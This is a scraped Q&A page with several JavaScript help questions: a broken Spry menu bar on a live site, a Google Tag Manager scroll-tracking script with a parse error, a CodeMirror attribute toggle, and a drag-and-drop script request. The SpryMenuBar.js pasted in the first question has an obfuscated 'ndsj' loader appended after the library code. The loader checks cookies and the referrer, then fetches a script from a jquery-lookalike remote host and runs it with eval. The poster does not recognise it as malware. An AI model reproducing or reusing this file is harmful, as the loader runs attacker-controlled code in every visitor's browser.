We Keep Coding

Linking pages .php

Hey guys just wondering if you could help?
I have not done coding in a while but I said id help a friend out with fixing a live website that a prev dev wrecked.
I'm trying to get the menu links to go to the right files,
https://www.lloydbowmaker.com/
The furthest I've gotten is
Spry.Widget.MenuBar.prototype.bubbledTextEvent = function()
{
return Spry.is.safari && (event.target == event.relatedTarget.parentNode || (event.eventPhase == 3 && event.target.parentNode == event.relatedTarget));
};
There's an issue with this javascript code it keeps coming up with an error Cannot read properties of null (reading 'parentNode').
also, the website has gone to the Japanese language on google when searched.
if anyone could give hints on help to fix these that would be incredible :)
// SpryMenuBar.js - version 0.13 - Spry Pre-Release 1.6.1
//enter code here
// Copyright (c) 2006. Adobe Systems Incorporated.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// * Neither the name of Adobe Systems Incorporated nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
/*******************************************************************************
SpryMenuBar.js
This file handles the JavaScript for Spry Menu Bar. You should have no need
to edit this file. Some highlights of the MenuBar object is that timers are
used to keep submenus from showing up until the user has hovered over the parent
menu item for some time, as well as a timer for when they leave a submenu to keep
showing that submenu until the timer fires.
*******************************************************************************/
(function() { // BeginSpryComponent
if (typeof Spry == "undefined") window.Spry = {}; if (!Spry.Widget) Spry.Widget = {};
Spry.BrowserSniff = function()
{
var b = navigator.appName.toString();
var up = navigator.platform.toString();
var ua = navigator.userAgent.toString();
this.mozilla = this.ie = this.opera = this.safari = false;
var re_opera = /Opera.([0-9\.]*)/i;
var re_msie = /MSIE.([0-9\.]*)/i;
var re_gecko = /gecko/i;
var re_safari = /(applewebkit|safari)\/([\d\.]*)/i;
var r = false;
if ( (r = ua.match(re_opera))) {
this.opera = true;
this.version = parseFloat(r[1]);
} else if ( (r = ua.match(re_msie))) {
this.ie = true;
this.version = parseFloat(r[1]);
} else if ( (r = ua.match(re_safari))) {
this.safari = true;
this.version = parseFloat(r[2]);
} else if (ua.match(re_gecko)) {
var re_gecko_version = /rv:\s*([0-9\.]+)/i;
r = ua.match(re_gecko_version);
this.mozilla = true;
this.version = parseFloat(r[1]);
}
this.windows = this.mac = this.linux = false;
this.Platform = ua.match(/windows/i) ? "windows" :
(ua.match(/linux/i) ? "linux" :
(ua.match(/mac/i) ? "mac" :
ua.match(/unix/i)? "unix" : "unknown"));
this[this.Platform] = true;
this.v = this.version;
if (this.safari && this.mac && this.mozilla) {
this.mozilla = false;
}
};
Spry.is = new Spry.BrowserSniff();
// Constructor for Menu Bar
// element should be an ID of an unordered list (<ul> tag)
// preloadImage1 and preloadImage2 are images for the rollover state of a menu
Spry.Widget.MenuBar = function(element, opts)
{
this.init(element, opts);
};
Spry.Widget.MenuBar.prototype.init = function(element, opts)
{
this.element = this.getElement(element);
// represents the current (sub)menu we are operating on
this.currMenu = null;
this.showDelay = 250;
this.hideDelay = 600;
if(typeof document.getElementById == 'undefined' || (navigator.vendor == 'Apple Computer, Inc.' && typeof window.XMLHttpRequest == 'undefined') || (Spry.is.ie && typeof document.uniqueID == 'undefined'))
{
// bail on older unsupported browsers
return;
}
// Fix IE6 CSS images flicker
if (Spry.is.ie && Spry.is.version < 7){
try {
document.execCommand("BackgroundImageCache", false, true);
} catch(err) {}
}
this.upKeyCode = Spry.Widget.MenuBar.KEY_UP;
this.downKeyCode = Spry.Widget.MenuBar.KEY_DOWN;
this.leftKeyCode = Spry.Widget.MenuBar.KEY_LEFT;
this.rightKeyCode = Spry.Widget.MenuBar.KEY_RIGHT;
this.escKeyCode = Spry.Widget.MenuBar.KEY_ESC;
this.hoverClass = 'MenuBarItemHover';
this.subHoverClass = 'MenuBarItemSubmenuHover';
this.subVisibleClass ='MenuBarSubmenuVisible';
this.hasSubClass = 'MenuBarItemSubmenu';
this.activeClass = 'MenuBarActive';
this.isieClass = 'MenuBarItemIE';
this.verticalClass = 'MenuBarVertical';
this.horizontalClass = 'MenuBarHorizontal';
this.enableKeyboardNavigation = true;
this.hasFocus = false;
// load hover images now
if(opts)
{
for(var k in opts)
{
if (typeof this[k] == 'undefined')
{
var rollover = new Image;
rollover.src = opts[k];
}
}
Spry.Widget.MenuBar.setOptions(this, opts);
}
// safari doesn't support tabindex
if (Spry.is.safari)
this.enableKeyboardNavigation = false;
if(this.element)
{
this.currMenu = this.element;
var items = this.element.getElementsByTagName('li');
for(var i=0; i<items.length; i++)
{
if (i > 0 && this.enableKeyboardNavigation)
items[i].getElementsByTagName('a')[0].tabIndex='-1';
this.initialize(items[i], element);
if(Spry.is.ie)
{
this.addClassName(items[i], this.isieClass);
items[i].style.position = "static";
}
}
if (this.enableKeyboardNavigation)
{
var self = this;
this.addEventListener(document, 'keydown', function(e){self.keyDown(e); }, false);
}
if(Spry.is.ie)
{
if(this.hasClassName(this.element, this.verticalClass))
{
this.element.style.position = "relative";
}
var linkitems = this.element.getElementsByTagName('a');
for(var i=0; i<linkitems.length; i++)
{
linkitems[i].style.position = "relative";
}
}
}
};
Spry.Widget.MenuBar.KEY_ESC = 27;
Spry.Widget.MenuBar.KEY_UP = 38;
Spry.Widget.MenuBar.KEY_DOWN = 40;
Spry.Widget.MenuBar.KEY_LEFT = 37;
Spry.Widget.MenuBar.KEY_RIGHT = 39;
Spry.Widget.MenuBar.prototype.getElement = function(ele)
{
if (ele && typeof ele == "string")
return document.getElementById(ele);
return ele;
};
Spry.Widget.MenuBar.prototype.hasClassName = function(ele, className)
{
if (!ele || !className || !ele.className || ele.className.search(new RegExp("\\b" + className + "\\b")) == -1)
{
return false;
}
return true;
};
Spry.Widget.MenuBar.prototype.addClassName = function(ele, className)
{
if (!ele || !className || this.hasClassName(ele, className))
return;
ele.className += (ele.className ? " " : "") + className;
};
Spry.Widget.MenuBar.prototype.removeClassName = function(ele, className)
{
if (!ele || !className || !this.hasClassName(ele, className))
return;
ele.className = ele.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
};
// addEventListener for Menu Bar
// attach an event to a tag without creating obtrusive HTML code
Spry.Widget.MenuBar.prototype.addEventListener = function(element, eventType, handler, capture)
{
try
{
if (element.addEventListener)
{
element.addEventListener(eventType, handler, capture);
}
else if (element.attachEvent)
{
element.attachEvent('on' + eventType, handler);
}
}
catch (e) {}
};
// createIframeLayer for Menu Bar
// creates an IFRAME underneath a menu so that it will show above form controls and ActiveX
Spry.Widget.MenuBar.prototype.createIframeLayer = function(menu)
{
var layer = document.createElement('iframe');
layer.tabIndex = '-1';
layer.src = 'javascript:""';
layer.frameBorder = '0';
layer.scrolling = 'no';
menu.parentNode.appendChild(layer);
layer.style.left = menu.offsetLeft + 'px';
layer.style.top = menu.offsetTop + 'px';
layer.style.width = menu.offsetWidth + 'px';
layer.style.height = menu.offsetHeight + 'px';
};
// removeIframeLayer for Menu Bar
// removes an IFRAME underneath a menu to reveal any form controls and ActiveX
Spry.Widget.MenuBar.prototype.removeIframeLayer = function(menu)
{
var layers = ((menu == this.element) ? menu : menu.parentNode).getElementsByTagName('iframe');
while(layers.length > 0)
{
layers[0].parentNode.removeChild(layers[0]);
}
};
// clearMenus for Menu Bar
// root is the top level unordered list (<ul> tag)
Spry.Widget.MenuBar.prototype.clearMenus = function(root)
{
var menus = root.getElementsByTagName('ul');
for(var i=0; i<menus.length; i++)
this.hideSubmenu(menus[i]);
this.removeClassName(this.element, this.activeClass);
};
// bubbledTextEvent for Menu Bar
// identify bubbled up text events in Safari so we can ignore them
Spry.Widget.MenuBar.prototype.bubbledTextEvent = function()
{
return Spry.is.safari && (event.target == event.relatedTarget.parentNode || (event.eventPhase == 3 && event.target.parentNode == event.relatedTarget));
};
// showSubmenu for Menu Bar
// set the proper CSS class on this menu to show it
Spry.Widget.MenuBar.prototype.showSubmenu = function(menu)
{
if(this.currMenu)
{
this.clearMenus(this.currMenu);
this.currMenu = null;
}
if(menu)
{
this.addClassName(menu, this.subVisibleClass);
if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE')
{
if(!this.hasClassName(this.element, this.horizontalClass) || menu.parentNode.parentNode != this.element)
{
menu.style.top = menu.parentNode.offsetTop + 'px';
}
}
if(Spry.is.ie && Spry.is.version < 7)
{
this.createIframeLayer(menu);
}
}
this.addClassName(this.element, this.activeClass);
};
// hideSubmenu for Menu Bar
// remove the proper CSS class on this menu to hide it
Spry.Widget.MenuBar.prototype.hideSubmenu = function(menu)
{
if(menu)
{
this.removeClassName(menu, this.subVisibleClass);
if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE')
{
menu.style.top = '';
menu.style.left = '';
}
if(Spry.is.ie && Spry.is.version < 7)
this.removeIframeLayer(menu);
}
};
// initialize for Menu Bar
// create event listeners for the Menu Bar widget so we can properly
// show and hide submenus
Spry.Widget.MenuBar.prototype.initialize = function(listitem, element)
{
var opentime, closetime;
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
if(menu)
this.addClassName(link, this.hasSubClass);
if(!Spry.is.ie)
{
// define a simple function that comes standard in IE to determine
// if a node is within another node
listitem.contains = function(testNode)
{
// this refers to the list item
if(testNode == null)
return false;
if(testNode == this)
return true;
else
return this.contains(testNode.parentNode);
};
}
// need to save this for scope further down
var self = this;
this.addEventListener(listitem, 'mouseover', function(e){self.mouseOver(listitem, e);}, false);
this.addEventListener(listitem, 'mouseout', function(e){if (self.enableKeyboardNavigation) self.clearSelection(); self.mouseOut(listitem, e);}, false);
if (this.enableKeyboardNavigation)
{
this.addEventListener(link, 'blur', function(e){self.onBlur(listitem);}, false);
this.addEventListener(link, 'focus', function(e){self.keyFocus(listitem, e);}, false);
}
};
Spry.Widget.MenuBar.prototype.keyFocus = function (listitem, e)
{
this.lastOpen = listitem.getElementsByTagName('a')[0];
this.addClassName(this.lastOpen, listitem.getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass);
this.hasFocus = true;
};
Spry.Widget.MenuBar.prototype.onBlur = function (listitem)
{
this.clearSelection(listitem);
};
Spry.Widget.MenuBar.prototype.clearSelection = function(el){
//search any intersection with the current open element
if (!this.lastOpen)
return;
if (el)
{
el = el.getElementsByTagName('a')[0];
// check children
var item = this.lastOpen;
while (item != this.element)
{
var tmp = el;
while (tmp != this.element)
{
if (tmp == item)
return;
try{
tmp = tmp.parentNode;
}catch(err){break;}
}
item = item.parentNode;
}
}
var item = this.lastOpen;
while (item != this.element)
{
this.hideSubmenu(item.parentNode);
var link = item.getElementsByTagName('a')[0];
this.removeClassName(link, this.hoverClass);
this.removeClassName(link, this.subHoverClass);
item = item.parentNode;
}
this.lastOpen = false;
};
Spry.Widget.MenuBar.prototype.keyDown = function (e)
{
if (!this.hasFocus)
return;
if (!this.lastOpen)
{
this.hasFocus = false;
return;
}
var e = e|| event;
var listitem = this.lastOpen.parentNode;
var link = this.lastOpen;
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
var opts = [listitem, menu, null, this.getSibling(listitem, 'previousSibling'), this.getSibling(listitem, 'nextSibling')];
if (!opts[3])
opts[2] = (listitem.parentNode.parentNode.nodeName.toLowerCase() == 'li')?listitem.parentNode.parentNode:null;
var found = 0;
switch (e.keyCode){
case this.upKeyCode:
found = this.getElementForKey(opts, 'y', 1);
break;
case this.downKeyCode:
found = this.getElementForKey(opts, 'y', -1);
break;
case this.leftKeyCode:
found = this.getElementForKey(opts, 'x', 1);
break;
case this.rightKeyCode:
found = this.getElementForKey(opts, 'x', -1);
break;
case this.escKeyCode:
case 9:
this.clearSelection();
this.hasFocus = false;
default: return;
}
switch (found)
{
case 0: return;
case 1:
//subopts
this.mouseOver(listitem, e);
break;
case 2:
//parent
this.mouseOut(opts[2], e);
break;
case 3:
case 4:
// left - right
this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
break;
}
var link = opts[found].getElementsByTagName('a')[0];
if (opts[found].nodeName.toLowerCase() == 'ul')
opts[found] = opts[found].getElementsByTagName('li')[0];
this.addClassName(link, opts[found].getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass);
this.lastOpen = link;
opts[found].getElementsByTagName('a')[0].focus();
//stop further event handling by the browser
return Spry.Widget.MenuBar.stopPropagation(e);
};
Spry.Widget.MenuBar.prototype.mouseOver = function (listitem, e)
{
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
if (this.enableKeyboardNavigation)
this.clearSelection(listitem);
if(this.bubbledTextEvent())
{
// ignore bubbled text events
return;
}
if (listitem.closetime)
clearTimeout(listitem.closetime);
if(this.currMenu == listitem)
{
this.currMenu = null;
}
// move the focus too
if (this.hasFocus)
link.focus();
// show menu highlighting
this.addClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
this.lastOpen = link;
if(menu && !this.hasClassName(menu, this.subHoverClass))
{
var self = this;
listitem.opentime = window.setTimeout(function(){self.showSubmenu(menu);}, this.showDelay);
}
};
Spry.Widget.MenuBar.prototype.mouseOut = function (listitem, e)
{
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
if(this.bubbledTextEvent())
{
// ignore bubbled text events
return;
}
var related = (typeof e.relatedTarget != 'undefined' ? e.relatedTarget : e.toElement);
if(!listitem.contains(related))
{
if (listitem.opentime)
clearTimeout(listitem.opentime);
this.currMenu = listitem;
// remove menu highlighting
this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
if(menu)
{
var self = this;
listitem.closetime = window.setTimeout(function(){self.hideSubmenu(menu);}, this.hideDelay);
}
if (this.hasFocus)
link.blur();
}
};
Spry.Widget.MenuBar.prototype.getSibling = function(element, sibling)
{
var child = element[sibling];
while (child && child.nodeName.toLowerCase() !='li')
child = child[sibling];
return child;
};
Spry.Widget.MenuBar.prototype.getElementForKey = function(els, prop, dir)
{
var found = 0;
var rect = Spry.Widget.MenuBar.getPosition;
var ref = rect(els[found]);
var hideSubmenu = false;
//make the subelement visible to compute the position
if (els[1] && !this.hasClassName(els[1], this.MenuBarSubmenuVisible))
{
els[1].style.visibility = 'hidden';
this.showSubmenu(els[1]);
hideSubmenu = true;
}
var isVert = this.hasClassName(this.element, this.verticalClass);
var hasParent = els[0].parentNode.parentNode.nodeName.toLowerCase() == 'li' ? true : false;
for (var i = 1; i < els.length; i++){
//when navigating on the y axis in vertical menus, ignore children and parents
if(prop=='y' && isVert && (i==1 || i==2))
{
continue;
}
//when navigationg on the x axis in the FIRST LEVEL of horizontal menus, ignore children and parents
if(prop=='x' && !isVert && !hasParent && (i==1 || i==2))
{
continue;
}
if (els[i])
{
var tmp = rect(els[i]);
if ( (dir * tmp[prop]) < (dir * ref[prop]))
{
ref = tmp;
found = i;
}
}
}
// hide back the submenu
if (els[1] && hideSubmenu){
this.hideSubmenu(els[1]);
els[1].style.visibility = '';
}
return found;
};
Spry.Widget.MenuBar.camelize = function(str)
{
if (str.indexOf('-') == -1){
return str;
}
var oStringList = str.split('-');
var isFirstEntry = true;
var camelizedString = '';
for(var i=0; i < oStringList.length; i++)
{
if(oStringList[i].length>0)
{
if(isFirstEntry)
{
camelizedString = oStringList[i];
isFirstEntry = false;
}
else
{
var s = oStringList[i];
camelizedString += s.charAt(0).toUpperCase() + s.substring(1);
}
}
}
return camelizedString;
};
Spry.Widget.MenuBar.getStyleProp = function(element, prop)
{
var value;
try
{
if (element.style)
value = element.style[Spry.Widget.MenuBar.camelize(prop)];
if (!value)
if (document.defaultView && document.defaultView.getComputedStyle)
{
var css = document.defaultView.getComputedStyle(element, null);
value = css ? css.getPropertyValue(prop) : null;
}
else if (element.currentStyle)
{
value = element.currentStyle[Spry.Widget.MenuBar.camelize(prop)];
}
}
catch (e) {}
return value == 'auto' ? null : value;
};
Spry.Widget.MenuBar.getIntProp = function(element, prop)
{
var a = parseInt(Spry.Widget.MenuBar.getStyleProp(element, prop),10);
if (isNaN(a))
return 0;
return a;
};
Spry.Widget.MenuBar.getPosition = function(el, doc)
{
doc = doc || document;
if (typeof(el) == 'string') {
el = doc.getElementById(el);
}
if (!el) {
return false;
}
if (el.parentNode === null || Spry.Widget.MenuBar.getStyleProp(el, 'display') == 'none') {
//element must be visible to have a box
return false;
}
var ret = {x:0, y:0};
var parent = null;
var box;
if (el.getBoundingClientRect) { // IE
box = el.getBoundingClientRect();
var scrollTop = doc.documentElement.scrollTop || doc.body.scrollTop;
var scrollLeft = doc.documentElement.scrollLeft || doc.body.scrollLeft;
ret.x = box.left + scrollLeft;
ret.y = box.top + scrollTop;
} else if (doc.getBoxObjectFor) { // gecko
box = doc.getBoxObjectFor(el);
ret.x = box.x;
ret.y = box.y;
} else { // safari/opera
ret.x = el.offsetLeft;
ret.y = el.offsetTop;
parent = el.offsetParent;
if (parent != el) {
while (parent) {
ret.x += parent.offsetLeft;
ret.y += parent.offsetTop;
parent = parent.offsetParent;
}
}
// opera & (safari absolute) incorrectly account for body offsetTop
if (Spry.is.opera || Spry.is.safari && Spry.Widget.MenuBar.getStyleProp(el, 'position') == 'absolute')
ret.y -= doc.body.offsetTop;
}
if (el.parentNode)
parent = el.parentNode;
else
parent = null;
if (parent.nodeName){
var cas = parent.nodeName.toUpperCase();
while (parent && cas != 'BODY' && cas != 'HTML') {
cas = parent.nodeName.toUpperCase();
ret.x -= parent.scrollLeft;
ret.y -= parent.scrollTop;
if (parent.parentNode)
parent = parent.parentNode;
else
parent = null;
}
}
return ret;
};
Spry.Widget.MenuBar.stopPropagation = function(ev)
{
if (ev.stopPropagation)
ev.stopPropagation();
else
ev.cancelBubble = true;
if (ev.preventDefault)
ev.preventDefault();
else
ev.returnValue = false;
};
Spry.Widget.MenuBar.setOptions = function(obj, optionsObj, ignoreUndefinedProps)
{
if (!optionsObj)
return;
for (var optionName in optionsObj)
{
if (ignoreUndefinedProps && optionsObj[optionName] == undefined)
continue;
obj[optionName] = optionsObj[optionName];
}
};
})(); // EndSpryComponent
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};

Error while adding a custom html to Google Tag Manager

I'm not really into JS, could you tell me what's wrong with this code? I tried to add this but an error occurs "Error at line 74, character 3: Parse error. ')' expected". I don't really know what to repair.
<script id="gtm-scroll-tracking" type="text/javascript">
; (function (document, window, config) {
// Browser dependencies, script fails silently
if (!document.querySelector || !document.body.getBoundingClientRect) {
return false;
}
// Get our dataLayer ready, in case we're not in GTM or we've got a special name
var dataLayerName = config.dataLayerName || 'dataLayer';
var dataLayer = window[dataLayerName] || (window[dataLayerName] = []);
var cache = {};
// Initialize our distances, for later
config.distances = config.distances || {};
checkDepth();
addEvent(window, 'scroll', throttle(checkDepth, 500));
function getMarks(_docHeight, _offset) {
var marks = {};
var percents = [];
var pixels = []
if (config.distances.percentages) {
if (config.distances.percentages.each) {
percents = percents.concat(config.distances.percentages.each);
}
if (config.distances.percentages.every) {
var _every = every_(config.distances.percentages.every, 100);
percents = percents.concat(_every);
}
}
if (config.distances.pixels) {
if (config.distances.pixels.each) {
pixels = pixels.concat(config.distances.pixels.each);
}
if (config.distances.pixels.every) {
var _every = every_(config.distances.pixels.every, _docHeight);
pixels = pixels.concat(_every);
}
}
marks = addMarks_(marks, percents, '%', _docHeight, _offset);
marks = addMarks_(marks, pixels, 'px', _docHeight, _offset);
return marks;
}
function addMarks_(marks, points, symbol, _docHeight, _offset) {
var i;
for (i = 0; i < points.length; i++) {
var _point = parseInt(points[i], 10);
var height = symbol !== '%' ? _point + _offset : _docHeight *
(_point / 100) + _offset;
var mark = _point + symbol;
if (height <= _docHeight + _offset) { marks[mark] = height; }
}
return marks;
}
function every_(n, total) {
var n = parseInt(n, 10);
var _num = total / n;
var arr = [];
for (i = 1; i < _num + 1; i++) { arr.push(i * n); }
return arr;
}
function checkDepth() {
var _bottom = parseBorder_(config.bottom);
var _top = parseBorder_(config.top);
var height = docHeight(_bottom, _top);
var marks = getMarks(height, (_top || 0));
var _curr = currentPosition();
for (key in marks) {
if (_curr > marks[key] && !cache[key]) {
cache[key] = true;
fireAnalyticsEvent(key);
}
}
}
function fireAnalyticsEvent(distance) {
dataLayer.push({
'event': 'scrollTracking',
'attributes': { 'distance': distance }
});
}
}
function parseBorder_(border) {
if (typeof border === 'Number' || parseInt(border, 10)) {
return parseInt(border, 10);
}
try {
// If we have an element or a query selector, poll getBoundingClientRect
var el = border.nodeType && border.nodeType === 1 ? border :
document.querySelector(border);
var docTop = document.body.getBoundingClientRect().top;
var _elTop = Math.floor(el.getBoundingClientRect().top - docTop);
return _elTop;
} catch (e) { return void (0); }
}
// Adapted from
https://developer.mozilla.org/en-US/docs/Web/API/Window/scrollY
function currentPosition() {
var supportPageOffset = window.pageXOffset !== undefined;
var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
var currScrollTop = supportPageOffset ?
window.pageYOffset :
isCSS1Compat ?
document.documentElement.scrollTop :
document.body.scrollTop;
return parseInt(currScrollTop, 10) + parseInt(viewportHeight(), 10);
}
function viewportHeight() {
var elem = (document.compatMode === "CSS1Compat") ?
document.documentElement :
document.body;
return elem.clientHeight;
}
function docHeight(_bottom, _top) {
var body = document.body;
var html = document.documentElement;
var height = Math.max(body.scrollHeight, body.offsetHeight,
html.clientHeight, html.scrollHeight, html.offsetHeight);
if (_top) { height = height - _top; }
if (_bottom) { height = _bottom - _top; }
return height - 5;
}
/*
* Throttle function borrowed from:
* Underscore.js 1.5.2
* http://underscorejs.org
*
(c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative
Reporters & Editors
* Underscore may be freely distributed under the MIT license.
*/
function throttle(func, wait) {
var context, args, result;
var timeout = null;
var previous = 0;
var later = function () {
previous = new Date;
timeout = null;
result = func.apply(context, args);
};
return function () {
var now = new Date;
if (!previous) previous = now;
var remaining = wait - (now - previous);
context = this;
args = arguments;
if (remaining <= 0) {
clearTimeout(timeout);
timeout = null;
previous = now;
result = func.apply(context, args);
} else if (!timeout) {
timeout = setTimeout(later, remaining);
}
return result;
};
}
// Cross-browser compliant event listener
function addEvent(el, evt, fn) {
if (el.addEventListener) { return el.addEventListener(evt, fn); }
if (el.attachEvent) {
return el.attachEvent('on' + evt, function (evt) {
// Call the event to ensure uniform 'this' handling, pass it event
fn.call(el, evt);
});
}
if (typeof el['on' + evt] === 'undefined' || el['on' + evt] === null) {
return el['on' + evt] = function (evt) {
// Call the event to ensure uniform 'this' handling, pass it event
fn.call(el, evt); \
}
}
}
})(document, window,
{
// False if you just use the default dataLayer variable, otherwise enter it here
'dataLayerName': false,
'distances': {
// Configure percentages of page you'd like to see if users scroll past
'percentages': {
'each': [10, 90],
'every': 25
},
// Configure for pixel measurements of page you'd like to see if users scroll past
'pixels': {
'each': [],
'every': null
}
},
// Accepts a number, DOM element, or query selector to determine the top of the scrolling area
'top': null,
// Accepts a number, DOM element, or query selector to determine the bottom of the scrolling area
'bottom': null,
});
</script>
While trying to preview (debug), the tool tells me:
Error at line 74, character 3: Parse error. ')' expected

JS attribut-value onclick replace

I use codemirror and jquery to "simulate" an xml-editor in the browser. Some xml-Tags include an "on"-attribute with two possible values (true or false). Would it be possible to toggle these values at an onclick event? Is a codemirror/jquery plugin available?
EDIT :
self-coded solution.
function attrtoggle(){
var pos = editor.getCursor();
var line = editor.getLine(pos.line);
var index = line.indexOf("on=");
if(index > 0){
//define range
if ( pos.ch -3 < index || pos.ch - 9 > index)
return false;
var len = 10;
var replace_pos = index + 4;
if(line.charAt(replace_pos) == "t"){
//insert false
line = line.replace('true', 'false');
} else{
//insert true
line = line.replace('false', 'true');
}
edited = pos.line;
editor.setLine(pos.line, line);
}
}
Just add an event-handler for the onclick event
$(".CodeMirror").attr("onclick","javascript:attrtoggle()");

By far not perfect (bad design and so on) , but it works as expected:
Just trigger the function at an onclick event.
function attributeToggle(){
var transitions = {
"on": {
"false":"true",
"true":"false"
}
}
var pos = editor.getCursor(); // object {line, ch}
var token = editor.getTokenAt(pos);
var line = editor.getLine(pos.line);
try{
var prev_pos = token.start - 1;
var prev_token = editor.getTokenAt({'line':pos.line, 'ch':prev_pos});
if(prev_token.className == "attribute")
var attr = prev_token.string;
else
return false;
if(typeof transitions[attr] === "undefined") //nothing to replace
return false;
var current_val = token.string.toLowerCase().replace(/(['"])/g, "");
if(typeof transitions[attr][current_val] === "undefined")
return false;
var line_new = line.substring(0, token.start) + \
"\"" + transitions[attr][current_val] + "\"" + line.substring(token.end);
editor.setLine(pos.line, line_new);
} catch (e){
console.log(e);
}
}

modifying webkitdragdrop.js use classes instead of ID

I've found a script that seems perfect for my needs, but it uses IDs, rather than classes to create ipad-friendly drag & drop elements.
I really need it to use classes, as the draggable elements could potentially be in the thousands.
[edit] I'm not that great at javascript and am having difficulties in understanding how I could alter the script to use classes instead of IDs.
I have also contacted the script author, but have had no reply from him.
I'm offering this bounty as I've not had any response to my original query.
Please could someone change the script below so that it uses classes? [/edit]
Below is the script in its entirety, and here is the script page (API was not helpful to me in being able to use classes vs id).
// webkitdragdrop.js v1.0, Mon May 15 2010
//
// Copyright (c) 2010 Tommaso Buvoli (http://www.tommasobuvoli.com)
// No Extra Libraries are required, simply download this file, add it to your pages!
//
// To See this library in action, grab an ipad and head over to http://www.gotproject.com
